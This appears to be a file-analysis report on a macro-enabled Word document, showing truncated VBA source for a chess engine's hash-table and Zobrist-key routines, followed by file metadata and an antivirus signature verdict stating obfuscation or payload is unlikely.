.MoveFrom = TmpMove.From: .MoveTarget = TmpMove.Target: .MovePromoted = TmpMove.Promoted
.EvalType = EvalType: .Eval = ScoreToHash(Eval)
.StaticEval = StaticEval: .Depth = Depth
.Generation = HashGeneration
.IsChecking = TmpMove.IsChecking
End If
End With
End Function
Public Function IsInHashTable(HashKey As THashKey, _
ByRef HashDepth As Long, _
HashMove, _
ByRef EvalType As Long, _
ByRef Eval As Long, _
ByRef StaticEval As Long) As Boolean
Dim IndexKey As Long, i As Long
IsInHashTable = False: HashMove = EmptyMove: EvalType = TT_NO_BOUND: Eval = UNKNOWN_SCORE: StaticEval = UNKNOWN_SCORE: HashDepth = -999
ZobristHash1 = HashKey.HashKey1
ZobristHash2 = HashKey.HashKey2
IndexKey = HashKeyCompute() * HASH_CLUSTER
For i = 0 To HASH_CLUSTER - 1
If HashTable(IndexKey + i).Position1 <> 0 And ZobristHash1 <> 0 Then
With HashTable(IndexKey + i)
If ZobristHash1 = .Position1 And ZobristHash2 = .Position2 Then
If .Depth > HashDepth Then
' entry found
IsInHashTable = True
If InHashCnt < 2000000 Then InHashCnt = InHashCnt + 1
'--- Read hash data
If .MoveFrom > 0 Then
HashMove.From = .MoveFrom: HashMove.Target = .MoveTarget
HashMove.Promoted = .MovePromoted: HashMove.IsChecking = .IsChecking: HashMove.IsInCheck = .IsChecking
HashMove.Captured = Board(.MoveTarget): HashMove.piece = Board(.MoveFrom): HashMove.CapturedNumber = Squares(.MoveTarget)
Select Case HashMove.piece
Case WPAWN
If .MoveTarget - .MoveFrom = 20 Then
HashMove.EnPassant = 1
ElseIf Board(.MoveTarget) = BEP_PIECE Then
HashMove.EnPassant = 3
End If
Case BPAWN
If .MoveFrom - .MoveTarget = 20 Then
HashMove.EnPassant = 2
ElseIf Board(.MoveTarget) = WEP_PIECE Then
HashMove.EnPassant = 3
End If
Case WKING
If .MoveFrom = SQ_E1 Then
If .MoveTarget = SQ_G1 Then
HashMove.Castle = WHITEOO
ElseIf .MoveTarget = SQ_C1 Then
HashMove.Castle = WHITEOOO
End If
End If
Case BKING
If .MoveFrom = SQ_E8 Then
If .MoveTarget = SQ_G8 Then
HashMove.Castle = BLACKOO
ElseIf .MoveTarget = SQ_C8 Then
HashMove.Castle = BLACKOOO
End If
End If
End Select
End If
EvalType = .EvalType: Eval = HashToScore(.Eval): StaticEval = .StaticEval
HashDepth = .Depth
.Generation = HashGeneration ' Update generation
Exit For
End If
End If
End With
End If
Next
End Function
Public Function LimitDouble(ByVal d As Double) As Long
' Prevent overflow by looping off anything beyond 31 bits
Const MaxNumber As Double = 2 ^ 31
LimitDouble = CLng(d - (Fix(d / MaxNumber) * MaxNumber))
End Function
Public Sub InitZobrist()
Static bDone As Boolean
Dim p As Long, s As Long
If bDone Then Exit Sub
bDone = True
ZobristHash1 = 0: ZobristHash2 = 0
Randomize 1001 ' init random generator with fix value
For p = SQ_A1 To SQ_H8
For s = 0 To 16
ZobristTable(p, s) = CalcUniqueKey(): ZobristTable2(p, s) = CalcUniqueKey()
Next
Next
HashWhiteToMove = CalcUniqueKey(): HashWhiteToMove2 = CalcUniqueKey()
HashWCanCastle = CalcUniqueKey(): HashWCanCastle2 = CalcUniqueKey()
HashBCanCastle = CalcUniqueKey(): HashBCanCastle2 = CalcUniqueKey()
End Sub
Private Function CalcUniqueKey() As Long
Static KeyList((1 - 0 + 1) * 17 * 2 + 8) As Long
Static ListCnt As Long
Dim l As Long, i As Long
NextTry:
l = 65536 * (Int(Rnd * 65536) - 32768) Or Int(Rnd * 65536)
For i = 1 To ListCnt
If KeyList(i) = l Then GoTo NextTry
Next
ListCnt = ListCnt + 1: KeyList(ListCnt) = l
CalcUniqueKey = l
End Function
Public Sub HashSetPiece(ByVal Position As Long, ByVal piece As Long)
If piece = Frame Or piece = NO_PIECE Then Exit Sub
ZobristHash1 = ZobristHash1 Xor ZobristTable(Position, piece)
ZobristHash2 = ZobristHash2 Xor ZobristTable2(Position, piece)
End Sub
Public Sub HashDelPiece(ByVal Position As Long, ByVal piece As Long)
If piece = Frame Or piece = NO_PIECE Then Exit Sub
ZobristHash1 = ZobristHash1 Xor ZobristTable(Position, piece)
ZobristHash2 = ZobristHash2 Xor ZobristTable2(Position, piece)
End Sub
Public Sub HashMovePiece(ByVal From As Long, Target As Long, ByVal piece As Long)
ZobristHash1 = ZobristHash1 Xor ZobristTable(From, piece) Xor ZobristTable(Target, piece)
ZobristHash2 = ZobristHash2 Xor ZobristTable(From, piece) Xor ZobristTable2(Target, piece)
End Sub
Public Function HashKeyCompute() As Long
HashKeyCompute = ZobristHash1 Xor ZobristHash2
If HashKeyCompute = -2147483648# Then HashKeyCompute = HashKeyCompute + 1
HashKeyCompute = Abs(HashKeyCompute) Mod (HashSize \ HASH_CLUSTER)
End Function
Public Sub SetHashToMove()
If bWhiteToMove Then
ZobristHash1 = ZobristHash1 Xor HashWhiteToMove: ZobristHash2 = ZobristHash2 Xor HashWhiteToMove2
End If
End Sub
Public Sub HashSetCastle()
If WhiteCastled = NO_CASTLE Then ZobristHash1 = ZobristHash1 Xor HashWCanCastle: ZobristHash2 = ZobristHash2 Xor HashWCanCastle2
If BlackCastled = NO_CASTLE Then ZobristHash1 = ZobristHash1 Xor HashBCanCastle: ZobristHash2 = ZobristHash2 Xor HashBCanCastle2
End Sub
Public Function ScoreToHa
... (truncated)
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 2049024 bytes |
SHA-256: 891e0e7cc7e319b72780003300c16fee1645338e9ffb1fca8216e35bb89d3241 |
|||
|
Detection
ClamAV:
Doc.Malware.W2000m-7603021-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.